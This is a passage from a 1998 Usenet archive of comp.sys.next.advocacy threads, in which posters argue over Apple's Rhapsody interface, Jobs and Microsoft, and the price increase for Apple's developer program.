with the direction of your premise. To not is to commit posterity to
the "Model A" of antiquity. Yes, Wm. Gates has made a fortune on
producing "one" flavor of computing. It's now time historically, to
broaden the notion of computing. Not Ford .vs. Chrysler (ie. American
v American) nor Ford .vs. Jaguar (ie. Big Fish eats small fish) or
Ford .vs. Toyota ( ie. American .vs. Japanese). JavaOS embodies the
opportunity to circumvent Monopoly, Aggregation, Trans-national
disputes and brittle economies of the 20th Century.
I don't agree that the "whole of mankind" is better served by
"crippling" man's innovation, adventure, risk and discovery into
perpetuity. Without visonaries like Brad Cox, Steve Jobs and Tim
Berners-Lee we wouldn't have that "chance" opportunity of a Lifetime
where a _convergence_ of these people's products, imaginations and
ideas mattered to a World. Fear of the Unknown (ie. non-MS) breeds
"Doubting Thomas'es " and the single insipient threat to American
entrepreneurialism. Unless, you can better argue that the whole of O-O
architecture, programming, WWW and this Grand Internet "Phenomenon" we
are having would have happened anyway on Microsoft in 1990? Microsoft
is just one big chicken that can lay one whole lot a eggs. You gotta
have the ones who can lay the "Golden" eggs.
Take that bet against Microsoft...
<Dig="HARD"><Heels Down>
-r
Rex Riley
©right 1998
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 7 Apr 1998 06:20:23 GMT
Organization: @Home Network
Message-ID: <6gcgj7$lk6$2@ha2.rdc1.sdca.home.com>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com>
<6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com>
<6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com>
<6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com>
<6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com>
<slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com>
<slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com>
<slrn6ih37n.grh.mbkennel@lyapunov.ucsd.edu> <6gakm2$812$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: spagiola@usa.net
In <6gakm2$812$1@nnrp1.dejanews.com> spagiola@usa.net wrote:
> mbkennel <replace this with '@'> yahoo.com wrote:
> > spagiola wrote:
> > :> > Point taken; NS was Jobs' second GUI OS (and I must say, far
> > :> > better than the first).
> > :>
> > :> And Rhapsody is going to be the third.
> > :
> > :True. But that doesn't mean it'll necessarily be better. Whereas
with the
> > :second (ie NeXTSTEP), they were able to start with a blank slate
and come
> up
> > :with the best UI they could, in the case of the third they are
very much
> > :constrained by the need to accomodate the legacy Mac users. And it
is
> > :well-known that imposing constraints on something never makes
something
> > :better.
> >
> > And supposing "Themes" really works as well as it ought? Perhaps
then
> > there will be a "NeXT Classic" theme?
>
> Well, I'm sure that it's well within Apple's power and very
considerable
> technical competence to come up with a very flexible environment that
will let
> users to pick and choose what their UI should look like, whether it
be
> Mac-like, NeXTSTEP-like, or even (shudder) Windows-like, or (best of
all) some
> idiosyncratic mix of all of the above. The question isn't whether
they CAN do
> it, it's whether they WILL do it.
>
> And notice that I never said NeXTSTEP's UI couldn't be improved on.
Just that
> "making it more Mac-like" isn't necessarily a recipe for such
improvements.
>
> I'm sure whatever Apple comes up with will be better than Windows.
That's not
> difficult. I'm not as confident that it will be as good as it might
have been.
> But as I've said before, if a somewhat less-than-optimal UI is the
price we
> need to pay to bring 20 million Mac users on board with Rhapsody,
then that's
> a price I'm willing to pay.
>
>
[ cross-postings removed]
Matt touches on something which I've been watching since Steve Jobs
stood up before the Computing World and declared Apple one of the
Worlds best brands.
Q: What does it mean to own a "brand"?
Think about what "Themes" you'd want to order the next time you buy a
Porsche... Apple might have Left and Right handed drive (ala Mac &
NeXT) but are you ready for Citroen, Volvo, Chevy Themes in your
Porsche? Is a Porsche still a Porsche? What is it? Brand Identity.
Q: Where was the "soul" of NeXTSTEP/OPENSTEP?
The soul of a Porsche is her very "design". Inside and out this brand
stands for perfection. Those of us in the early days found a substance
and soul in the "design" work of Keith Ohlfs. Yeah, it was that 3D,
transparency, realism, etc... Others found it in the syntactical
"design" simplicity of Objective-C. Some found it the paragon of GUI
designed environments. NeXTSTEP design was "3Dreal", simple and
elegant.
Q: Where is the the "soul" in Rhapsody?
Q: Brand: Porsche == Perfection, Apple== ???????
Follow-up later...
-r
Rex Riley
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 7 Apr 1998 06:27:02 GMT
Organization: @Home Network
Message-ID: <6gcgvm$lk6$3@ha2.rdc1.sdca.home.com>
References: <trev-0504982024220001@nas-sa-p5.usc.net> <B14DD7A6-66A11@206.165.43.142>
<6gbp07$5jg$1@uuneo.neosoft.com>
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Cc: rlove@neosoft.com
In <6gbp07$5jg$1@uuneo.neosoft.com> Robert B. Love wrote:
> In <B14DD7A6-66A11@206.165.43.142> "Lawson English" wrote:
>
> > Jef Raskin, Father of the Macintosh, had an article that discussed
this
> > very point. His take is that taking two different GUIs targetted at
two
> > different audiences and trying to "merge the best of both" will
likely
> > produce the worst of both instead.
>
> Hm, in the Wired "100 Ways to Save Apple" article he is quoted as
> saying to throw out the Mac User Interface all together.
>
>
One man with design principles straight. Lest we get a Design Genius
to bridge schools of architecture ± World's apart.
-r
Rex Riley
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Fri, 10 Apr 1998 00:07:39 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-1004980007390001@dante.eng.uci.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <6gjs37$883$1@uuneo.neosoft.com> <352f99f7.304616375@news.sunflower.com>
In article <352f99f7.304616375@news.sunflower.com>, nhughes@sunflower.com wrote:
>It will always be that way. But as more people begin using computers
>on a daily basis they should be taught more thoroughly.
They should. And they are welcome to go and take a class. Universities are
not trade schools or adult education centers. You can't just sit back on
your ass and expect that somebody will shove 4 units of 'Windows for
undergrads' in your face. If you are going to use a computer, be
proactive: read a book, take a class. If you fuck up and lose all of your
data then you have a new incentive to: read a book, take a class.
If you are in graduate school and cannot handle such basic
responsibilities as this (this is not directed at you personally) then you
deserve what you get.
Next thing we'll be asked to teach students how to get laid...
-Bob Cassidy
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 98 16:58:47 GMT
Organization: QMS
Message-ID: <6ggabn$rts$2@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com>
In article <6gg6af$fit$1@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
>xhsoft@injep.fr (Xavier Humbert) wrote:
>> Scott Ellsworth <scott@eviews.com> wrote:
>>> The seeding program, imho, served a valuable purpose, but
>>> Apple, I think, does not want any leaks of its seeds, and so
>>> it is trying to reduce the number of developers who might
>>> have access.
>>
>> What is obviously stupid : WarEz sites have System Seeds BEFORE the
>> official FTP :-(
>>
>> Xav, looking for a warez URL
>
>I don't have much of an opinion about Apple's change to their Dev. program
>pricing, one way or the other. I do know, however, that people who condone
>software piracy have no moral grounds whatsoever to complain about what Apple
>does.
The fellow's point was, I hope, that limiting distribution in this way
seems unlikely to prevent the seeds from getting to the warez sites,
because the current arcana one has to go through to get seeds
(and it is VERY arcane) has not succeeded.
As a result, the only people who are incovenienced by the
former situation were honest developers who wished to get
new seeds directly from Apple. The new situation will limit
the exposure of honest developers to upcoming MacOS
releases even more.
I did note his request for a Warez URL, but I hoped it was a
pointed reminder that Xav wants to stay in the Apple camp.
Let me say that more loudly - by limiting things in this way, they
are only preventing honest developers willing to pay a substantial
fee from testing products and giving useful feedback. $250 is
substantial when it is out of your own pocket, and many Mac
evangelists and partisans at otherwise wintel companies often
have to do thier Mac work on thier own, in order to sell the company
on the benefits. I know I do - all work on Mac EViews is done on my
own personal time, because I dislike products that fail, and I find
the Mac a more pleasant platfom.
If Apple is determined for me to fail in this, by making private Mac
development prohibitivly expensive, well, I have to act accordingly.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: sdsd <sdsd@skdjsk.no>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 00:57:27 +0200
Organization: sda
Message-ID: <352AAF57.25EB@skdjsk.no>
References: <01bc445f$744397e0$1bf0bfa8@davidsul>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I want a student developers program...
150-200 $/year for cd's...
Anonymous..
From: gcheng@uni.uiuc.edu (Guanyao Cheng)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 7 Apr 1998 23:04:21 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6gebdl$5d0$1@vixen.cso.uiuc.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul>
Can't you get the development CD's for $199?? Or do those not include
beta OS releases??
Guanyao Cheng
--
Guanyao Cheng "And I personally assure you, everybody here, that
gcheng@uiuc.edu if Deep Blue will start playing competitive
http://www.uiuc.edu/ph chess, I personally guarantee you I'll
/www/gcheng tear it to pieces" -- Garry Kasparov
From: tom_e@usa.net (Thomas Engelmeier)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 19:40:54 +0200
Organization: University of Rostock
Message-ID: <1d7652m.2xxaxj9xa6yoN@desktop.tom-e.private>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com> <352abaf8.0@206.25.228.5>
John Kheit <jkheit@xtdl.com> wrote:
> > Yeah, sucks, doesn't it? All I really want is the CDs, and they
> > keep upping the price and adding things I don't need.
>
> I think there is a free online subscription and one can subscribe
> to get *just* the CDs in addition. I haven't bothered to check
> out the details yet.
CD's only is $199, but w/o Technology seeding :-((
Regards,
TomE
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 11:25:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1511019-15903@206.165.43.154>
References: <352b5da2.0@206.25.228.5>
To: "John Kheit" <jkheit@xtdl.com>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Kheit <jkheit@xtdl.com> said:
> j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
[...]
> > Which is what we used to do, but then realized you could not get
> > seeded unless you were an associate.
>
> What's seeded mean? Does that mean no beta's?
No betas, and now, apparently no online versions of the SDKs. They were
available last week online, but no longer.
This harkens back to the worst of the bad ole days of Spindler, where you
had to pay lots of money for every aspect of MacOS programming and
developers started abandoning the MacOS platform.
Trying to make developer *support* a profit center is an INSANE idea.
Hopefully, either Jobs will change this, or the more rational stockholders
will hear about it in time to vote against him because this one action, *BY
ITSELF*, will destroy Apple.
[mark my words, young man <quavering voice>]
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 20:35:08 +0200
Organization: Completely Disorganized
Message-ID: <1d757w4.17mii1i1hjria0N@rhrz-isdn3-p47.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <01bd6267$fa532b30$9b2168cf@test1>
Todd Heberlein <todd@NetSQ.com> wrote:
> As a student, you will probably be able to get the full development
> environment quite inexpensively from Apple, but we will have to wait a
> while for Apple to make that move. The last time I received word from
> Apple (less than a month ago), they had not hammered out all the license
> deals with third parties.
>
> Also, $500 is still quite cheap. As I mentioned in another thread,
> yesterday I paid $1300+ for a license to use Digital's command-line
> debugger (which is pretty lame).
Okay, I am still a student. But even after that I'd like to be able to
afford Apple/Mac/Rhapsody development tools. If my employer pays for
them that fine. It's not likely, though. And it's small shareware
developers who are driven out. If Apple thinks it doesn't need those
people and that the real pros that they want can easily pay the price --
well, then go ahead. Then I'll leave sooner or later. It's rather
simple: I want to be able to develop software on my system, if I can't
afford to do that on an Apple system then I won't stay there.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: "Paul Rekieta" <PRekieta@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 7 Apr 1998 16:23:27 -0700
Organization: Apple Computer, Inc.
Message-ID: <6geche$8lu$1@news2.apple.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no>
sdsd wrote in message <352AAF57.25EB@skdjsk.no>...
>I want a student developers program...
>
>150-200 $/year for cd's...
>
You got it -- The Apple Developer Connection Mailing. The ADC Mailing is a
12-month subscription that includes the Developer CD Series, a wealth of
technical resources, system software, development tools, technical
documentation, Interactive Media Resources, SDKs, and more. More information
can be found at http://developer.apple.com/programs/mailing.html.
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <352abaf8.0@206.25.228.5>
Date: 7 Apr 98 23:47:04 GMT
russotto@wanda.pond.com (Matthew T. Russotto) wrote:
> In article <01bc445f$744397e0$1bf0bfa8@davidsul>, macghod
> <macghod@concentric.net> wrote: }WTF is up with the apple
> developer program? I see a big announcement, and }all it is is:
> }1st level: online stuff, just as it is now, ie NO CHANGE }2nd
> level: instead of costing $250 a year its now $500 a year??!?!??
> } }As far as I can tell it adds nothing and is a 2x increase!!
> Why to support }development apple :)
> Yeah, sucks, doesn't it? All I really want is the CDs, and they
> keep upping the price and adding things I don't need.
I think there is a free online subscription and one can subscribe
to get *just* the CDs in addition. I haven't bothered to check
out the details yet.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
From: erkyrath@netcom.com (Andrew Plotkin)
Subject: Re: Apple developer program
Message-ID: <erkyrathEr4984.8MF@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Organization: Netcom On-Line Services
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
Date: Wed, 8 Apr 1998 22:31:16 GMT
Sender: erkyrath@netcom11.netcom.com
Xcanpos: shelf.1/199804230201!0032511460
Lawson English (english@primenet.com) wrote:
> Rex Riley <rriley@yahoo.com> said:
> > Apple's actions signal that it can't afford to get into the "handout"
> > business nor support legions of "individual" developers (read welfare).
> By
> > "raising-the-bar" Apple introduces an entry fee and seeds the concept of
> > "profit" in its Developer base. Developers who approach Rhapsody without
> > resources and a profit motive will be annoyed, discouraged and drop off.
> But shareware programmers often fill in the gaps that commercial software
> leaves. Also shareware programmers learn the ropes via feedback from their
> customers and are often high school/college students who later enter the
> Mac programming field as professionals.
No kidding.
I'm an individual, free-time, freeware/shareware Mac developer. I've been
writing freeware games (text adventures) and doing a *lot* of work in
porting free games and game systems to the Mac. (Yeah, text adventures
are a tiny little niche of the game world. Everybody's got their niche.)
I may get back into Mac shareware someday.
If Apple really wants me to "be annoyed, discouraged, and drop off"...
well, then the Mac game world will get that much smaller.
I don't think Apple really wants that, as you (Rex Riley) claim. I *do*
think they're willing to *accept* it in exchange for higher short-term
profits from their developer program. No surprise there.
Is there any money in the BeOS shareware game market?
--Z
--
"And Aholibamah bare Jeush, and Jaalam, and Korah: these were the
borogoves..."
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 07:51:54 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Er6tuI.Mu8@AWT.NL>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <joe.ragosta-0904980642200001@elk33.dol.net> <6gitpj$csn$1@interport.net> <joe.ragosta-0904980134360001@wil68.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
>> Apple should be ACTIVELY ENCOURAGING these people. Some of them might
>> grow up to be software developers . . . or management . . . or sysadmins .
>> . . or end users . . . or, or, or . . .
>
>Sure. They should encourage everyone.
>
>But how do you allocate limited resources? Apple has decided that spending
>the money on TV ads or magazine ads is a better place to put scarce
>resources than subsidizing hobbyists.
Which is a good point, but do we know the numbers? Is the cost of providing
hardware discounts and support comparable to the cost of running TV ads? This
comparison only makes sense if you know the relative cost. Price/performance
is the issue, also in marketing.
>And in case you've missed it, it is now possible for hobbyists to get
>SDK's free. How much cheaper do they need to be?
SDK's and Mac API development don't interest me. I want to know what will
happen to the cost of developing for Rhapsody.
--Gerben
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 07:57:51 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Er6u4F.Mv5@AWT.NL>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr>
xhsoft@injep.fr (Xavier Humbert) wrote:
><rmcassid@uci.edu> wrote:
>
>> and can quite likely afford a modest
>> increase in costs.
>
>100% increase is modest for you ?
Come on. If they had to stick to figures like 10% they could have increased a
whopping $25. Any increase on a small amount is big in percentages.
--Gerben
From: "M. Kilgore" <mkilgore@nospam.prysm.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program -shareware
Date: Wed, 8 Apr 1998 14:52:21 -0500
Message-ID: <6ggkg1$90k$1@news0-alterdial.uu.net>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
There is a very good reason for Apple to discourage the small or shareware
developer - the sad fact is that if it's too easy to get into the shareware
market then less than knowlegeable programmers can play hell with your
system. All you need do is look at the Win shareware to discover this.
Pehaps Rhap isn't as bullet proof as the pr would have us believe and Apple
is just trying to protect the system from becoming just another Windows.
There is, however, a far better reason to encourage shareware/freeware -
many of the guys that get started in that do it because they're
enthusiastic about their machines. That enthusiasm is is contageous and
gets even more people interested in a platform. So how bad could it really
be if CNET was able to cover a new & exciting piece of MacShareWare on each
episode. I'd be tempted to say that a healthy shareware market is directly
translatable into new hardware sales. And no, I don't have any studies to
back that up. Then again, it just may be that it's not just MS that makes
PCs sell.
I'm still thinking, though, that Apple's trying to get itself sold. They
keep saying they're on the offensive and yet they just seem to be hunkering
down to a nice marketable package for someone else to buy and rejuvenate.
mark
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 20:03:16 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6ggl64$1kt$3@quasar.dimensional.com>
References: <trev-0504982024220001@nas-sa-p5.usc.net> <B14DD7A6-66A11@206.165.43.142>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <B14DD7A6-66A11@206.165.43.142> , Lawson English <english@primenet.com> wrote:
>> have been responsible for what today are arguably the two best GUIs there
>> have ever been, and they're distilling them into one. I don't see how it
>> *can't* be better.
> Jef Raskin, Father of the Macintosh, had an article that discussed this
> very point. His take is that taking two different GUIs targetted at two
> different audiences and trying to "merge the best of both" will likely
> produce the worst of both instead.
Even I, known for my dislike of both worlds doubt that very much. Frankly,
I don't see how Rhapsody could be worse than MacOS! Worse than NS?
possible, because of the dumbing down of software documentation, GUI, ect.
But MacOS is as dumb as it gets, its GUI is as stale as it gets, and its
kernel is as it gets (arguibly with the exception of Win95 -- Win95 probably
has a more fragmented kernel). But NextStep _does_ have a lot to lose.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: support@fluxsoft.com (Maurice Volaski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 07 Apr 1998 20:11:26 -0500
Organization: Flux Software
Message-ID: <support-0704982011260001@207-172-164-184.s57.as4.loc.erols.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <j-jahnke-0704981616320001@192.168.1.3>
In article <j-jahnke-0704981616320001@192.168.1.3>, j-jahnke@uchicago.edu
(Jerome Jahnke) wrote:
>In article <01bc445f$744397e0$1bf0bfa8@davidsul>, "macghod"
><macghod@concentric.net> wrote:
>
>> WTF is up with the apple developer program? I see a big announcement, and
>> all it is is:
>> 1st level: online stuff, just as it is now, ie NO CHANGE
>> 2nd level: instead of costing $250 a year its now $500 a year??!?!??
>>
>> As far as I can tell it adds nothing and is a 2x increase!! Why to support
>> development apple :)
>
>Actually it adds nothing, removes other stuff and increases by a factor of
>two... Apple did this a few years ago, gouge developers. It didn't work
>then. I don't see why they think it will work now.
It won't if we complain (won't it?).
--
Maurice Volaski, Flux Software support@fluxsoft.com
http://www.fluxsoft.com/ ftp://ftp.fluxsoft.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 20:19:35 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6ggm4n$1kt$4@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g8fl6$la7$1@quasar.dimensional.com> <slrn6igl3f.qlh.sal@panix3.panix.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <slrn6igl3f.qlh.sal@panix3.panix.com> , Salvatore Denaro <sal@panix3.panix.com> wrote:
>>>> Point taken; NS was Jobs' second GUI OS (and I must say, far better than the
>>>> first).
>>> And Rhapsody is going to be the third.
>> Depends. Being CEO is a lot of work, and I don't know how much time Jobs
>> will really be able to spend on software engineering.
> With any luck, as little as possible. Jobs is not a tech, he just understands
> them very well.
Jobs used to te a "tech." In the "early days," it seems many of our CEO
freinds weren't that bad. The early days (very early... the BASIC days) of
Microsoft, Bill Gates and what's his face :) were a good model of software
development. Shortly there after, they were a monopolistic, dishonest,
bloated company that unstead of competing with Dr DOS, used anti-compeditive
practices. Then came Windows "patents," Word Perfect wars, and many years
later... Netscape.
Look at Jobs. Him and what's his fase :) sold their calculator to start
Apple, a company that was on top of everything. A few years later, Jobs
reduces himself to software patenting and the company he founded is sueing
over a technology they neither invented nor should own (GUI).
>> Anyway, Apple did
>> obtain a few good engineers with that NeXT purchase.
> More than just a few.
>> If they do things
>> right, they'll abandon their old MacOS code, and only do emulation of it in
>> Rhapsody. If they make a huge blunder, Rhapsody will either never ber
>> released, never be marketted, or be dropped too soon after release.
> Many users will want MacOS rather than Rhapsody. Unix might sound scary to
> them. They will port YellowBox and other Rhapsody techs over to MacOS to
> improve the old OS.
Yeah... I think this fear is being discussed in a subthread a few lines up.
Makes me glad I'm using Linux and don't have to worry about tailoring to
Macies. :)
>>> Go and find that article. If I clearly made it sound like distributed objects
>>> are exclusive to Obj-C, I'll post an apology.
>> Finding that article is too hard. You saying now that distributed objects,
>> as an abstraction, aren't Objective-C exclusive, it's enough for me.
> I never said otherwise. I have never claimed that DO are Obj-C only.
> Go to http://www.dejanews.com/ and look up every time I've used that phrase.
Ok, but you do the hard work. Find the thread where we were arguing
distributed objects and Objective C, and I'll get you the quote from that.
There are too many messages between you and I to track that thread down
easily.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 20:36:00 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6ggn3g$1kt$6@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <352A6D21.3FC9A99@cisco.com> , Barry Friedman <friedman@cisco.com> wrote:
>>>> I wouldn't put too much effort into PPP... it'll be obsolete in 3-5 years.
>>> Hint: there's a whole world out there that's never seen cable TV, and
>>> entire countries with less than a T1 bandwidth. PPP will be around for a
